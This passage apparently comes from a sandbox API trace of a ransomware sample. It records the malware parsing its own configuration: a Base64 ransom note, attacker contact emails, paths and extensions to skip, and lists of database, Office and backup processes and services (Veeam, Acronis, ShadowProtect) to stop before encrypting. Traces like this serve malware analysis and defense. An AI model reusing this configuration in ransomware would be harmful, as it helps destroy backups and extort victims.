\"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 0
	[0060.366] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28730c8, Size=0xc) returned 0x2861b20
	[0060.366] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868590
	[0060.366] strtol (in: _Str="1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x10f0d0, _Radix=0 | out: _EndPtr=0x10f0d0*=",\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 1500
	[0060.366] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861b20, Size=0x10) returned 0x2861b98
	[0060.366] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28687b0
	[0060.366] strtol (in: _Str="51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlc